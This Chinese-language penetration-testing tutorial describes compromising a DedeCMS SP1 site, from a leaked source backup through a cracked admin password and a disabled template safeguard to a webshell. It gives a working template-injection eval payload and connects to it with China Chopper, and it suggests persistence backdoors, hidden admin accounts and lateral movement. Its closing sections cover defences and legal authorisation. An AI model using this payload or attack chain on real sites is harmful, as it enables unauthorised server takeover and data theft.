记一次从源码泄露到getshell
字数 1425 2025-08-24 20:49:22
从源码泄露到Getshell渗透实战教学文档
一、前期信息收集
1. 源码泄露发现
- 使用Hunter工具进行互联网站点源码扫描
- 重点关注备份文件扫描结果(如.zip, .rar, .tar.gz等)
- 发现并下载目标站点源码备份文件
2. CMS识别
- 通过源码注释信息识别CMS类型(本例为DedeCMS)
- 确认CMS版本信息(本例为DedeCMS SP1)
二、敏感信息提取
1. 全局搜索关键信息
- 使用代码编辑器全局搜索(Ctrl+Shift+F)以下关键词:
- key
- pwd
- passwd
- password
2. 发现的关键信息
-
数据库信息泄露:
- 数据库连接配置文件(通常为data/common.inc.php)
- 包含数据库主机、用户名、密码、数据库名
-
后台管理员密码泄露:
- 在源码中发现管理员密码的MD5哈希值
- 使用在线MD5解密工具尝试破解(本例为弱口令"admin888")
三、后台入口定位
1. 后台地址发现
- 通过源码分析找到后台管理路径
- 注意CMS可能修改默认后台路径(本例改为888)
2. 后台登录
- 使用获取的管理员账号(admin)和密码(admin888)登录后台
四、漏洞利用分析
1. 历史漏洞检查
- 研究DedeCMS SP1已知漏洞
- 重点关注远程代码包含漏洞(通常涉及install.php)
- 检查目标站点是否删除关键漏洞文件(本例install.php已删除)
2. 功能点分析
-
系统设置检查:
- 路径:系统设置->系统基本参数->其他选项
- 发现"模板引擎的禁用函数"设置项
-
源码深度分析:
- 发现被隐藏的模板相关功能文件
- 确认文件存在但功能被前端隐藏
五、漏洞利用过程
1. 模板注入漏洞利用
-
访问模板文件:
- 直接访问被隐藏的模板功能文件(如tpl.php)
-
构造Payload:
{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
- 关键参数:
runphp='yes'允许执行PHP代码 - 使用
[field:字段名/]方式调用
- 修改系统设置:
- 删除"模板引擎的禁用函数"中的所有限制
- 保存系统设置变更
2. WebShell连接
- 将恶意代码注入到index.htm模板文件
- 访问首页触发代码执行:
http://target.com/index.php - 使用中国菜刀等工具连接WebShell:
- 密码:lyy(与POST参数对应)
六、后续渗透建议
-
数据库连接尝试:
- 使用源码中发现的数据库凭证尝试直接连接
- 可能获取更多敏感数据或进行权限提升
-
权限维持:
- 上传持久化后门
- 创建隐藏管理员账户
-
横向移动:
- 检查服务器内网环境
- 尝试内网渗透
七、防御建议
-
源码保护:
- 删除开发注释和敏感信息
- 使用.gitignore防止配置文件泄露
- 定期检查并删除不必要的备份文件
-
密码安全:
- 避免使用弱口令
- 管理员密码不使用MD5等弱哈希
- 启用多因素认证
-
漏洞防护:
- 及时更新CMS补丁
- 删除不必要的功能文件
- 严格限制模板解析功能
-
系统加固:
- 禁用危险函数(如eval, system等)
- 设置文件上传限制
- 实施最小权限原则
八、渗透测试注意事项
-
法律合规:
- 获取授权后再进行测试
- 所有修改操作后需复原
-
漏洞报告:
- 将发现漏洞提交至CNVD等平台
- 提供详细修复建议
-
操作记录:
- 记录所有测试步骤
- 保存证据截图
本教学文档完整呈现了从源码泄露到获取服务器权限的全过程,重点突出了信息收集、漏洞分析和利用的关键技术点,同时提供了防御建议和合规指导。